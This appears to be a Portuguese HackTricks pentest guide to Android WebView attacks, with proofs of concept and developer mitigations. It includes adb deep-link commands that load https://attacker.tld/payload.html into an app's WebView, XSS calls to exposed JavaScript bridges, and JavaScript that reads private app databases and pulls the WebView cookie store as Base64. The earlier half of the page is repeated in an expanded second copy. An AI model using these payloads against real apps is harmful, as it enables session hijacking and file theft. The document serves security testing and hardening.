Ataques em Webview

Reading time: 18 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Guia sobre Configurações e Segurança do WebView

Visão geral das vulnerabilidades do WebView

Um aspecto crítico do desenvolvimento Android envolve o manuseio correto de WebViews. Este guia destaca configurações chave e práticas de segurança para mitigar riscos associados ao uso de WebViews.

WebView Example

Acesso a arquivos em WebViews

Por padrão, WebViews permitem acesso a arquivos. Esta funcionalidade é controlada pelo método setAllowFileAccess(), disponível desde o Android API level 3 (Cupcake 1.5). Aplicações com a permissão android.permission.READ_EXTERNAL_STORAGE podem ler arquivos do armazenamento externo usando o esquema de URL file (file://path/to/file).

Deprecated Features: Universal and File Access From URLs

  • Universal Access From File URLs: Este recurso obsoleto permitia requisições cross-origin a partir de file URLs, representando um risco de segurança significativo devido a potenciais XSS attacks. A configuração padrão é desativada (false) para apps que targetam Android Jelly Bean e versões mais novas.
  • Para checar esta configuração, use getAllowUniversalAccessFromFileURLs().
  • Para modificar esta configuração, use setAllowUniversalAccessFromFileURLs(boolean).
  • File Access From File URLs: Este recurso, também obsoleto, controlava o acesso a conteúdo de outros URLs com esquema file. Assim como o acesso universal, seu padrão está desativado para maior segurança.
  • Use getAllowFileAccessFromFileURLs() para checar e setAllowFileAccessFromFileURLs(boolean) para configurar.

Carregamento Seguro de Arquivos

Para desabilitar o acesso ao sistema de arquivos enquanto ainda acessa assets e resources, utiliza-se o método setAllowFileAccess(). Com Android R e superior, a configuração padrão é false.

  • Verifique com getAllowFileAccess().
  • Ative ou desative com setAllowFileAccess(boolean).

WebViewAssetLoader

A classe WebViewAssetLoader é a abordagem moderna para carregar arquivos locais. Ela utiliza http(s) URLs para acessar assets e resources locais, alinhando-se à Same-Origin policy e facilitando o gerenciamento de CORS.

loadUrl

Esta é uma função comum usada para carregar URLs arbitrárias em um WebView:

java
webview.loadUrl("<url here>")

Claro, um atacante potencial nunca deve ser capaz de controlar a URL que uma aplicação vai carregar.

Manipulação de JavaScript e Intent Scheme

  • JavaScript: Desativado por padrão em WebViews, pode ser habilitado via setJavaScriptEnabled(). Recomenda-se cautela, pois habilitar JavaScript sem as devidas proteções pode introduzir vulnerabilidades de segurança.
  • Intent Scheme: WebViews podem lidar com o esquema intent, potencialmente levando a exploits se não for cuidadosamente gerenciado. Um exemplo de vulnerabilidade envolveu um parâmetro exposto do WebView "support_url" que poderia ser explorado para executar ataques de cross-site scripting (XSS).

Vulnerável WebView

Exemplo de exploração usando adb:

bash
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"

Javascript Bridge

O Android fornece um recurso que permite que o JavaScript em um WebView invoque funções nativas do app Android. Isso é feito utilizando o método addJavascriptInterface, que integra JavaScript com funcionalidades nativas do Android, denominado WebView JavaScript bridge. É preciso cautela, pois esse método permite que todas as páginas dentro do WebView acessem o objeto JavaScript Interface registrado, criando um risco de segurança se informações sensíveis forem expostas por essas interfaces.

  • Cautela extrema é necessária para apps cujo alvo são versões do Android inferiores à 4.2 devido a uma vulnerabilidade que permite execução remota de código por meio de JavaScript malicioso, explorando reflection.

Implementando um JavaScript Bridge

  • JavaScript interfaces podem interagir com código nativo, como mostrado nos exemplos em que um método de classe é exposto ao JavaScript:
javascript
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
  • JavaScript Bridge é ativada adicionando uma interface ao WebView:
javascript
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()
  • Potencial exploração através de JavaScript, por exemplo, via um ataque XSS, permite a chamada de métodos Java expostos:
html
<script>
alert(javascriptBridge.getSecret())
</script>
  • Para mitigar riscos, restrinja o uso da JavaScript bridge ao código incluído no APK e impeça o carregamento de JavaScript a partir de fontes remotas. Para dispositivos mais antigos, defina o nível mínimo de API para 17.

Reflection-based Remote Code Execution (RCE)

  • Um método documentado permite atingir RCE através de reflection executando um payload específico. No entanto, a anotação @JavascriptInterface impede o acesso não autorizado a métodos, limitando a superfície de ataque.

Remote Debugging

  • Remote debugging é possível com Chrome Developer Tools, permitindo interação e execução arbitrária de JavaScript dentro do conteúdo do WebView.

Enabling Remote Debugging

  • Remote debugging pode ser habilitado para todos os WebViews dentro de um aplicativo por:
java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
  • Para habilitar condicionalmente o debugging com base no estado debuggable do aplicativo:
java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}

Exfiltrar arquivos arbitrários

  • Demonstra a exfiltração de arquivos arbitrários usando um XMLHttpRequest:
javascript
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)

Ataques em WebView

Guia sobre Configurações e Segurança do WebView

Visão geral das vulnerabilidades do WebView

Um aspecto crítico do desenvolvimento Android envolve o manuseio correto de WebViews. Este guia destaca configurações-chave e práticas de segurança para mitigar riscos associados ao uso de WebView.

WebView Example

Acesso a Arquivos em WebViews

Por padrão, WebViews permitem acesso a arquivos. Essa funcionalidade é controlada pelo método setAllowFileAccess(), disponível desde o nível de API 3 (Cupcake 1.5). Aplicações com a permissão android.permission.READ_EXTERNAL_STORAGE podem ler arquivos do armazenamento externo usando o esquema de URL de arquivo (file://path/to/file).

Recursos obsoletos: Acesso Universal e Acesso a Arquivos a partir de URLs

  • Universal Access From File URLs: Esse recurso obsoleto permitia requisições cross-origin a partir de file URLs, representando um risco significativo de segurança devido a possíveis ataques XSS. O valor padrão é desabilitado (false) para apps com target Android Jelly Bean ou superior.
  • Para verificar essa configuração, use getAllowUniversalAccessFromFileURLs().
  • Para modificar essa configuração, use setAllowUniversalAccessFromFileURLs(boolean).
  • File Access From File URLs: Esse recurso, também obsoleto, controlava o acesso a conteúdo de outros URLs com o esquema file. Assim como o acesso universal, seu valor padrão é desabilitado para maior segurança.
  • Use getAllowFileAccessFromFileURLs() para verificar e setAllowFileAccessFromFileURLs(boolean) para definir.

Carregamento Seguro de Arquivos

Para desabilitar o acesso ao sistema de arquivos while ainda acessar assets e resources locais, utiliza-se o método setAllowFileAccess(). No Android R e versões superiores, o valor padrão é false.

  • Verifique com getAllowFileAccess().
  • Habilite ou desabilite com setAllowFileAccess(boolean).

WebViewAssetLoader

A classe WebViewAssetLoader é a abordagem moderna para carregar arquivos locais. Ela utiliza URLs http(s) para acessar assets e recursos locais, alinhando-se com a política de mesma origem (Same-Origin policy), facilitando assim o gerenciamento de CORS.

loadUrl

Esta é uma função comum usada para carregar URLs arbitrárias em um WebView:

java
webview.loadUrl("<url here>")

Obviamente, um atacante potencial nunca deve ser capaz de controlar a URL que um aplicativo vai carregar.

Deep-linking into internal WebView (custom scheme → WebView sink)

Muitos apps registram custom schemes/paths que direcionam uma URL fornecida pelo usuário para um WebView in-app. Se o deep link estiver exportado (VIEW + BROWSABLE), um atacante pode forçar o app a renderizar conteúdo remoto arbitrário dentro do seu contexto WebView.

Padrão típico do manifest (simplificado):

xml
<activity android:name=".MainActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="myscheme" android:host="com.example.app" />
</intent-filter>
</activity>

Fluxo de código comum (simplificado):

java
// Entry activity
@Override
protected void onNewIntent(Intent intent) {
Uri deeplink = intent.getData();
String url = deeplink.getQueryParameter("url"); // attacker-controlled
if (deeplink.getPathSegments().get(0).equals("web")) {
Intent i = new Intent(this, WebActivity.class);
i.putExtra("url", url);
startActivity(i);
}
}

// WebActivity sink
webView.loadUrl(getIntent().getStringExtra("url"));

Padrão de ataque e PoC via adb:

bash
# Template – force load in internal WebView
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

# If a specific Activity must be targeted
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

Impacto: a página remota roda no contexto do WebView do app (cookies/sessão do perfil do app WebView, acesso a qualquer @JavascriptInterface exposto, acesso potencial a content:// e file:// dependendo das configurações).

Dicas para identificação:

  • Procure nos códigos-fonte decompilados por getQueryParameter("url"), loadUrl(, sinks do WebView, e handlers de deep-link (onCreate/onNewIntent).
  • Revise o manifest em busca de filtros VIEW+BROWSABLE e esquemas/hosts personalizados que mapeiem para activities que depois iniciam um WebView.
  • Verifique se existem múltiplos caminhos de deep-link (p.ex., um caminho “external browser” vs. um caminho “internal webview”) e prefira aquele que renderiza dentro do app.

Habilitar JavaScript antes da verificação (bug de ordem de verificação)

Um erro comum de hardening é habilitar JavaScript ou configurar definições relaxadas do WebView antes da conclusão da allowlist/verificação final da URL alvo. Se a verificação for inconsistente entre helpers ou ocorrer tarde demais, um deep link malicioso pode chegar a um estado onde:

  1. as configurações do WebView são aplicadas (p.ex., setJavaScriptEnabled(true)), e
  2. a URL não confiável é carregada com JavaScript habilitado.

Padrão do bug (pseudocódigo):

java
// 1) Parse/early checks
Uri u = parse(intent);
if (!looksValid(u)) return;

// 2) Configure WebView BEFORE final checks
webView.getSettings().setJavaScriptEnabled(true); // BAD: too early
configureMixedContent();

// 3) Do final verification (late)
if (!finalAllowlist(u)) return; // too late – JS already enabled

// 4) Load
webView.loadUrl(u.toString());

Por que é explorável

  • Normalização inconsistente: helpers dividem/reconstroem a URL de forma diferente da verificação final, criando discrepâncias que uma URL maliciosa pode explorar.
  • Pipeline fora de ordem: habilitar JS na etapa 2 aplica-se globalmente à instância WebView, afetando o carregamento final mesmo que a verificação falhe depois.

Como testar

  • Crie deep-link payloads que passem pelas verificações iniciais e alcancem o site de configuração do WebView.
  • Use adb para disparar intents VIEW implícitos que entreguem um parâmetro url= controlado por você:
bash
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

Se a exploração for bem-sucedida, seu payload executa JavaScript no WebView do app. A partir daí, procure por bridges expostas:

html
<script>
for (let k in window) {
try { if (typeof window[k] === 'object' || typeof window[k] === 'function') console.log('[JSI]', k); } catch(e){}
}
</script>

Orientações defensivas

  • Canonicalize uma vez; valide estritamente contra uma única fonte de verdade (scheme/host/path/query).
  • Chame setJavaScriptEnabled(true) apenas depois de todas as verificações da allowlist passarem e imediatamente antes de carregar conteúdo confiável.
  • Evite expor @JavascriptInterface a origens não confiáveis; prefira controle por origem.
  • Considere instâncias por WebView separadas para conteúdo confiável vs não confiável, com JS desativado por padrão.

JavaScript e tratamento do Intent Scheme

  • JavaScript: Desativado por padrão em WebViews, pode ser ativado via setJavaScriptEnabled(). Deve-se ter cautela, pois habilitar JavaScript sem salvaguardas adequadas pode introduzir vulnerabilidades de segurança.
  • Intent Scheme: WebViews podem lidar com o esquema intent, potencialmente levando a exploits se não for gerenciado cuidadosamente. Um exemplo de vulnerabilidade envolveu um parâmetro exposto do WebView "support_url" que poderia ser explorado para executar ataques de cross-site scripting (XSS).

WebView vulnerável

Exemplo de exploração usando adb:

bash
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"

Javascript Bridge

Uma funcionalidade fornecida pelo Android permite que o JavaScript em um WebView invoque funções nativas do app Android. Isso é feito utilizando o método addJavascriptInterface, que integra o JavaScript com funcionalidades nativas do Android, denominado WebView JavaScript bridge. Deve-se ter cautela, pois esse método permite que todas as páginas dentro do WebView acessem o objeto JavaScript Interface registrado, representando um risco de segurança se informações sensíveis forem expostas por essas interfaces.

  • É necessária extrema cautela para apps com target em versões do Android abaixo de 4.2 devido a uma vulnerabilidade que permite remote code execution por meio de JavaScript malicioso, explorando reflection.

Implementing a JavaScript Bridge

  • JavaScript interfaces podem interagir com código nativo, como mostrado nos exemplos onde um método de classe é exposto ao JavaScript:
javascript
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
  • JavaScript Bridge é ativado adicionando uma interface ao WebView:
javascript
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()
  • Potencial exploração através de JavaScript, por exemplo, via um ataque XSS, permite a chamada de métodos Java expostos:
html
<script>
alert(javascriptBridge.getSecret())
</script>
  • Para mitigar riscos, restrinja o uso da JavaScript bridge ao código incluído no APK e impeça o carregamento de JavaScript de fontes remotas. Para dispositivos mais antigos, defina o mínimo API level para 17.

Abusando de JS bridges no estilo dispatcher (invokeMethod/handlerName)

Um padrão comum é um único método exportado (por exemplo, @JavascriptInterface void invokeMethod(String json)) que desserializa JSON controlado pelo atacante em um objeto genérico e encaminha com base em um nome de handler fornecido. Forma típica do JSON:

json
{
"handlerName": "toBase64",
"callbackId": "cb_12345",
"asyncExecute": "true",
"data": { /* handler-specific fields */ }
}

Risco: se qualquer handler registrado executar ações privilegiadas sobre dados do atacante (por exemplo, leituras diretas de arquivos), você pode chamá-lo definindo handlerName adequadamente. Os resultados geralmente são postados de volta no contexto da página via evaluateJavascript e um mecanismo de callback/promise indexado por callbackId.

Key hunting steps

  • Descompile e faça grep por addJavascriptInterface( para descobrir o nome do objeto bridge (por exemplo, xbridge).
  • No Chrome DevTools (chrome://inspect), digite o nome do objeto bridge no Console (por exemplo, xbridge) para enumerar campos/métodos expostos; procure por um dispatcher genérico como invokeMethod.
  • Enumere handlers procurando por classes que implementem getModuleName() ou por mapas de registro.

Leitura arbitrária de arquivos via URI → destinos de arquivo (exfiltração Base64)

Se um handler aceita uma URI, chama Uri.parse(req.getUri()).getPath(), constrói new File(...) e lê sem allowlists ou verificações de sandbox, você obtém uma leitura arbitrária de arquivo no sandbox do app que contorna configurações do WebView como setAllowFileAccess(false) (a leitura acontece em código nativo, não via a pilha de rede do WebView).

PoC para exfiltrar o Chromium WebView cookie DB (sequestro de sessão):

javascript
// Minimal callback sink so native can deliver the response
window.WebViewJavascriptBridge = {
_handleMessageFromObjC: function (data) { console.log(data) }
};

const payload = JSON.stringify({
handlerName: 'toBase64',
callbackId: 'cb_' + Date.now(),
data: { uri: 'file:///data/data/<pkg>/app_webview/Default/Cookies' }
});

xbridge.invokeMethod(payload);

Notas

  • Cookie DB paths vary across devices/providers. Common ones:
  • file:///data/data/<pkg>/app_webview/Default/Cookies
  • file:///data/data/<pkg>/app_webview_<pkg>/Default/Cookies
  • O handler retorna Base64; decodifique para recuperar cookies e se passar pelo usuário no perfil WebView do app.

Dicas de detecção

  • Fique atento a grandes strings Base64 retornadas via evaluateJavascript ao usar o app.
  • Faça grep nas fontes decompiladas por handlers que aceitam uri/path e as convertem para new File(...).

Bypassing WebView privilege gates – endsWith() host checks

Decisões de privilégio (selecionar uma JSB-enabled Activity) frequentemente dependem de allowlists de host. Um padrão falho é:

java
String host = Uri.parse(url).getHost();
boolean z = true;
if (!host.endsWith(".trusted.com")) {
if (!".trusted.com".endsWith(host)) {
z = false;
}
}
// z==true → open privileged WebView

Lógica equivalente (De Morgan’s):

java
boolean z = host.endsWith(".trusted.com") ||
".trusted.com".endsWith(host);

Isto não é uma verificação de origem. Muitos hosts não intencionais satisfazem a segunda cláusula, permitindo que domínios não confiáveis entrem na Activity privilegiada. Sempre verifique scheme e host contra uma allowlist estrita (exact match ou uma verificação correta de subdomínio com dot-boundaries), não truques com endsWith.

javascript:// execution primitive via loadUrl

Uma vez dentro de um WebView privilegiado, apps às vezes executam JS inline via:

java
webView.loadUrl("javascript:" + jsPayload);

Se um fluxo interno disparar loadUrl("javascript:...") nesse contexto, o JS injetado é executado com acesso à bridge mesmo que a página externa normalmente não fosse permitida. Pentest steps:

  • Grep for loadUrl("javascript: and evaluateJavascript( in the app.
  • Tente alcançar esses code paths após forçar a navegação para o privileged WebView (por exemplo, via um permissive deep link chooser).
  • Use the primitive para chamar o dispatcher (xbridge.invokeMethod(...)) e alcançar sensitive handlers.

Mitigations (developer checklist)

  • Verificação estrita de origem para privileged Activities: canonicalize e compare scheme/host contra uma allowlist explícita; evite checagens baseadas em endsWith. Considere Digital Asset Links quando aplicável.
  • Scope bridges apenas para páginas trusted e re-verifique confiança em cada chamada (per-call authorization).
  • Remova ou proteja fortemente handlers com acesso ao filesystem; prefira content:// com allowlists/permissions em vez de caminhos file:// crus.
  • Evite loadUrl("javascript:") em contextos privilegiados ou coloque-o atrás de checagens fortes.
  • Lembre que setAllowFileAccess(false) não protege contra leituras nativas de arquivos via bridge.

JSB enumeration and debugging tips

  • Habilite WebView remote debugging para usar o Console do Chrome DevTools:
  • App-side (debug builds): WebView.setWebContentsDebuggingEnabled(true)
  • System-side: módulos como LSPosed ou Frida scripts podem forçar a habilitação do debugging mesmo em release builds. Exemplo de snippet Frida para Cordova WebViews: cordova enable webview debugging
  • No DevTools, digite o nome do objeto bridge (ex.: xbridge) para ver membros expostos e sondar o dispatcher.

Reflection-based Remote Code Execution (RCE)

  • Um método documentado permite alcançar RCE via reflection executando um payload específico. Entretanto, a annotation @JavascriptInterface impede acesso não autorizado a métodos, limitando a superfície de ataque.

Remote Debugging

  • Remote debugging é possível com Chrome Developer Tools, permitindo interação e execução arbitrária de JavaScript dentro do conteúdo do WebView.

Enabling Remote Debugging

  • Remote debugging pode ser habilitado para todos os WebViews dentro de uma aplicação mediante:
java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
  • Para habilitar condicionalmente o debugging com base no estado debuggable do aplicativo:
java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}

Exfiltrar arquivos arbitrários

  • Demonstra a exfiltração de arquivos arbitrários usando um XMLHttpRequest:
javascript
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)

Referências

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks